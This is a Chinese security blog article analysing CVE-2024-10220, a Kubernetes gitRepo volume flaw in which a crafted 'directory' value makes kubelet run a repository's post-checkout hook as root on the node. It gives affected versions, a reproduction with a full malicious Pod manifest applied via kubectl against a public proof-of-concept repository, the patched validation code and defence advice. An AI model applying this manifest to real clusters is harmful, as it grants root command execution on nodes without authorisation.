利用gitRepo卷在Node上RCE(CVE-2024-10220)

admin 2024年11月29日10:56:00评论31 views字数 4270阅读14分14秒阅读模式

1 背景

在 Kubernetes 中,gitRepo卷驱动允许用户通过 URL 指定一个 Git 仓库,Kubelet会克隆该仓库,并将其内容挂载到 Pod 中。该驱动早已被标记为废弃(死缓,一直未移除),但仍然存在于 Kubernetes 的默认安装中。这为攻击者提供了一个攻击面。具体可看官方文档:https://kubernetes.io/zh-cn/docs/concepts/storage/volumes/#gitrepo

2 影响版本

  • kubelet v1.30.0 ~ v1.30.2
  • kubelet v1.29.0 ~ v1.29.6
  • kubelet <= v1.28.11

3 利用前提

都需要满足。

  • Kubernetes 集群中启用了 gitRepo 卷驱动程序。
  • 拥有创建 Pod 的权限。
  • 集群中存在支持调用 Git CLI 的工作节点。

在GitHub上搜索,使用 gitRepo 卷驱动程序的案例数据还是不少的。

https://github.com/search?q=gitRepo%3A+++repository%3A+%22http&type=code&p=3

利用gitRepo卷在Node上RCE(CVE-2024-10220)

4 漏洞风险

在节点主机环境中以 root 身份执行命令。

5 前置知识

5.1 Git 中裸仓库和非裸仓库

# 创建裸仓库mkdir bare-repo&& cd bare-repo && git init--bare# 裸仓库的目录内容branches/  config  description  HEAD  hooks/  info/  objects/  refs/# 创建非裸仓库mkdir non-bare-repo && cd non-bare-repo && git init# 非裸仓库的目录内容root@test:~/non-bare-repo# lsroot@htest:~/non-bare-repo# ls -a.  ..  .gitroot@test:~/non-bare-repo# ls -a .git/.  ..  branches/  config  description  HEAD  hooks/  info/  objects/  refs/
利用gitRepo卷在Node上RCE(CVE-2024-10220)

5.2 Git 的钩子机制(Hooks)

当 Git 执行某些操作时,它会检查.git/hooks/目录中的相应脚本文件。如果这些脚本文件存在且具有执行权限,Git 会自动执行这些脚本。常见的钩子包括:

  • post-checkout:在git checkout操作之后执行,通常用于切换分支时执行一些特定操作。
  • post-commit:在提交操作(git commit)完成后执行,用于在提交后做一些后处理操作,比如推送到远程仓库或通知系统。
  • post-merge:在合并操作(git merge)完成后执行,通常用于执行合并后的一些操作,例如代码质量检查或自动测试。

5.3 gitRepo 卷

gitRepo卷驱动程序的设计是为了将一个 Git 仓库的内容作为文件系统卷挂载到 Pod 中,这使得你可以从 Git 仓库直接获取数据,并将其提供给容器。在处理该配置时,Kubelet (节点组件)会执行一系列步骤,具体流程如下:  

① 读取 gitRepo 配置:解析 Pod 中的 gitRepo 配置项,包括以下字段:

  • repository:Git 仓库的 URL。
  • revision:(可选)要检出的特定提交或标签。
  • directory:(可选)指定克隆内容存储的子目录。
# 配置案例............spec:  containers:  ......  ......  volumes:  - name: git-volume    gitRepo:      repository: "https://github.com/nginxinc/NGINX-Demos.git"      revision: "main" # 可选,指定分支或版本号      directory: "."   # 可选,指定克隆到的目录,将 Git 仓库的内容克隆到容器的根目录

② Kubelet 执行克隆操作:

  • 使用git clone将指定的repository克隆到由directory定义的路径中。

③ Kubelet 执行 Git 操作:

  • 如果 Pod 配置中指定了revision,Kubelet 会执行git checkout命令,将仓库切换到指定的分支、标签等。
  • 为了确保工作目录状态一致,Kubelet 还可能执行git reset操作。

④ 将 Git 仓库内容挂载到容器中:

  • 完成git clonegit checkout后,Kubelet 会将仓库的内容作为卷挂载到 Pod 中容器的文件系统。容器可以通过指定的路径访问这些文件。  

6 漏洞复现

这里我借助开源 POC 进行实操演示,https://github.com/mochizuki875/CVE-2024-10220-githooks

POC 是以下方 echo 命令来判断是否攻击成功的,

利用gitRepo卷在Node上RCE(CVE-2024-10220)

POC 库中 config 文件定义了bare = false,标识该仓库是一个非裸仓库,非裸仓库是会包含工作目录和 .git 目录。

利用gitRepo卷在Node上RCE(CVE-2024-10220)

测试环境:集群版本 v1.30.0;节点主机上需要安装 Git 并正确配置 $PATH。恶意 Pod 配置如下:

echo 'apiVersion: v1kind: Podmetadata:  name: cve-2024-10220-gitrepospec:  nodeName: demo-control-plane # 强制将POD调度到Master上  containers:- image: docker.io/library/busybox:1.31.1    name: busybox    command: ["/bin/sh", "-c", "sleep infinity"]    volumeMounts:- mountPath: /gitrepo      name: git-volume  terminationGracePeriodSeconds: 0  volumes:  - name: git-volume # 恶意配置    gitRepo:      repository: https://github.com/mochizuki875/CVE-2024-10220-githooks.git      revision: master      directory: cve-2024-10220-gitrepo/.git' | kubectl apply -f -

Pod 创建成功。(建议使用 Gitee 拉取 GitHub 中 POC 仓库,以免 POC 拉取不下来)

利用gitRepo卷在Node上RCE(CVE-2024-10220)

成功在Master节点上执行命令。

利用gitRepo卷在Node上RCE(CVE-2024-10220)

7 漏洞核心

问题出现在directory 参数的处理上

  • 挂载 Git 仓库到 Pod:directory 参数的设置就很巧妙,正常应该是directory: cve-2024-10220-gitrepo,而 POC 中则是设置成directory: cve-2024-10220-gitrepo/.git,在 Pod 中可以直观的看见,POC 库的内容是保存在gitrepo/cve-2024-10220-gitrepo/.git目录中的。
利用gitRepo卷在Node上RCE(CVE-2024-10220)
利用gitRepo卷在Node上RCE(CVE-2024-10220)
  • Kubelet 执行git clonegit checkout由于directory指定了gitrepo/cve-2024-10220-gitrepo/.git目录,Git 默认会将该目录视为裸仓库的根目录,并不会进一步解析内部的 .git 子目录gitrepo/cve-2024-10220-gitrepo/.git/.git。在裸仓库中,Git 依然会使用钩子机制(前置知识中已解释),由于裸仓库没有工作区,post-checkout钩子会在裸仓库中执行,而非在常规的工作区目录中。总的来说,当 Kubelet 执行git checkout时,触发post-checkout钩子,使得cve-2024-10220-gitrepo/.git/hooks/post-checkout文件内容执行,并且 Git 不会检查文件内容是否安全,因此,可以在该文件中写入任意系统命令。由于Kubelet是以节点主机的root权限运行的,因此攻击者的恶意钩子代码post-checkout可以在节点主机环境中以root身份执行命令。

8 K8S在此方面的缺陷

directory参数未被严格校验

修复版本中解决了这个缺陷,代码中增加了对 Directory 参数的检查措施,检查参数中是否包含 / 或 ,目的就是避免出现值为cve-2024-10220-gitrepo/.git此类情况。

https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/git_repo/git_repo.go

if (src.Revision != "") && (src.Directory != "") {cleanedDir := filepath.Clean(src.Directory)if strings.Contains(cleanedDir, "/") || (strings.Contains(cleanedDir, "\")) {return fmt.Errorf("%q is not a valid directory, it must not contain a directory separator", src.Directory)}}

尝试使用修复后的集群去创建上述 Pod,失败,输出的警告就是上方代码的结果return fmt.Errorf("%q is not a valid directory, it must not contain a directory separator", src.Directory),说:cve-2024-10220-giterepo/.git不是有效目录,它不能包含目录分隔符。

利用gitRepo卷在Node上RCE(CVE-2024-10220)

如果你想将仓库保存在web/abc/此类目录也是不行的。

利用gitRepo卷在Node上RCE(CVE-2024-10220)

9 防御

此 gitRepo 卷驱动程序早在五年前就爆出了高危漏洞,但 Kubernetes 维护者决定不修复此缺陷。该驱动程序已被弃用超过 5 年,并且文档中已经强调了解决方法(替代方法)。请移步:https://kubernetes.io/docs/concepts/storage/volumes/#gitrepo。或者升级集群版本。

10 参考文章

https://github.com/kubernetes/kubernetes/issues/128885

https://irsl.medium.com/sneaky-write-hook-git-clone-to-root-on-k8s-node-e38236205d54

https://github.com/mochizuki875/CVE-2024-10220-githooks

原文始发于微信公众号(安全小将李坦然):利用gitRepo卷在Node上RCE(CVE-2024-10220)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月29日10:56:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用gitRepo卷在Node上RCE(CVE-2024-10220)https://cn-sec.com/archives/3447352.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息